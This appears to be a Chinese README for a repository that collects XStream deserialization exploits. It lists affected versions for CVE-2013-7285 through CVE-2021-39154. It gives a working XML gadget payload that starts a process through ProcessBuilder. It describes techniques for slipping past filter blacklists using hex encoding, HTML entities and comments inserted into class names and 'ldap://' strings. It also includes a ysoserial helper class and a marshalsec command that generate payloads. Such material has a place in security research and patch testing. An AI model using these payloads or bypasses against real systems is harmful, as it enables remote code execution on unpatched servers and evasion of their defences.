该项目是为了整理Xstream的exp,有一些没有测试成功,欢迎pr。
本来想写一个工具了生成exp,然后感觉这样整理出来也比较方便。。。。。懒。。
XStream 远程代码执行漏洞 | CVE-2013-7285 | 1.4.x<XStream <= 1.4.6&=1.4.10 |
---|---|---|
XStream XXE | CVE-2016-3674 | 1.4.x<XStream <= 1.4.8 |
XStream 远程代码执行漏洞 | CVE-2019-10173 | XStream = 1.4.10 |
XStream 远程代码执行漏洞 | CVE-2020-26217 | 1.4.x<XStream <= 1.4.13 |
XStream 远程代码执行漏洞 | CVE-2021-21344 | 1.4.x<XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21345 | 1.4.x<XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21346 | 1.4.x<XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21347 | 1.4.x<XStream <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21350 | 1.4.x<XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-21351 | 1.4.x<XStream : <= 1.4.15 |
XStream 远程代码执行漏洞 | CVE-2021-29505 | 1.4.x<XStream : <= 1.4.16 |
XStream 远程代码执行漏洞 | CVE-2021-39141 | 1.4.x<XStream : <= 1.4.17 |
XStream 远程代码执行漏洞 | CVE-2021-39144 | 1.4.x<XStream : <= 1.4.17 |
XStream 远程代码执行漏洞 | CVE-2021-39146 | 1.4.x<XStream : <= 1.4.17 |
XStream 远程代码执行漏洞 | CVE-2021-39148 | 1.4.x<XStream : <= 1.4.17 |
XStream 远程代码执行漏洞 | CVE-2021-39152 | 1.4.x<XStream : <= 1.4.17 |
XStream 远程代码执行漏洞 | CVE-2021-39154 | 1.4.x<XStream : <= 1.4.17 |
<1.4.6 CVE-2013-7285
=1.4.10 CVE-2019-10173 && CVE-2013-7285
<=1.4.13 CVE-2020-26217
<=1.4.15 CVE-2021-21345 && CVE-2021-21344 && CVE-2021-21351
<=1.4.16 CVE-2021-29505
<=1.4.17 CVE-2021-39141 && CVE-2021-39144 && CVE-2021-39146
eg:
<sorted-set>
<string></string>
<dynamic-proxy>
<interface>ja<!-- -->va<!-- -->.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>ca<!-- test -->lc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
1. 16进制绕过
<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
当前黑名单为org[.]springframework,此时的绕过方法可以为
<org.s_.0070ringframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
</org.s_.0070ringframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
2. 针对标签属性内容的绕过
<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom">
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
此时的黑名单为custom,那么绕过方法可以为
<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom">
</org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor>
原理为读取属性内容时,会做符合要求的转化
3. 针对标签内容的绕过
<test>
ldap://xxxxx
</test>
此时的黑名单为ldap://,可以用如下的几种方法绕过
html编码:
这部分在提取数据时,同样对html编码的内容做了转化
<test>
ldap://xxxxx
</test>
注释的方法:
在处理实际的标签内容时,遇到注视内容将被忽略掉
<test>
ld<!-- test -->ap://xxxxx
</test>
java.exe -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream
配合yso生成xstream的exp。添加Xstream组件依赖
package ysoserial.exploit;
import clojure.lang.IFn;
import com.thoughtworks.xstream.XStream;
import ysoserial.payloads.ObjectPayload;
@SuppressWarnings({
"rawtypes"
})
public class Xstream {
public static void main(String[] args) {
if(args.length<2){
System.out.println("exit");
}
final Object payloadObject = ObjectPayload.Utils.makePayloadObject(args[0],args[1]);
com.thoughtworks.xstream.XStream xstream = new XStream();
//System.out.println(payloadObject);
String s = xstream.toXML(payloadObject);
System.out.println(s);
ObjectPayload.Utils.releasePayload(args[0],payloadObject);
}
}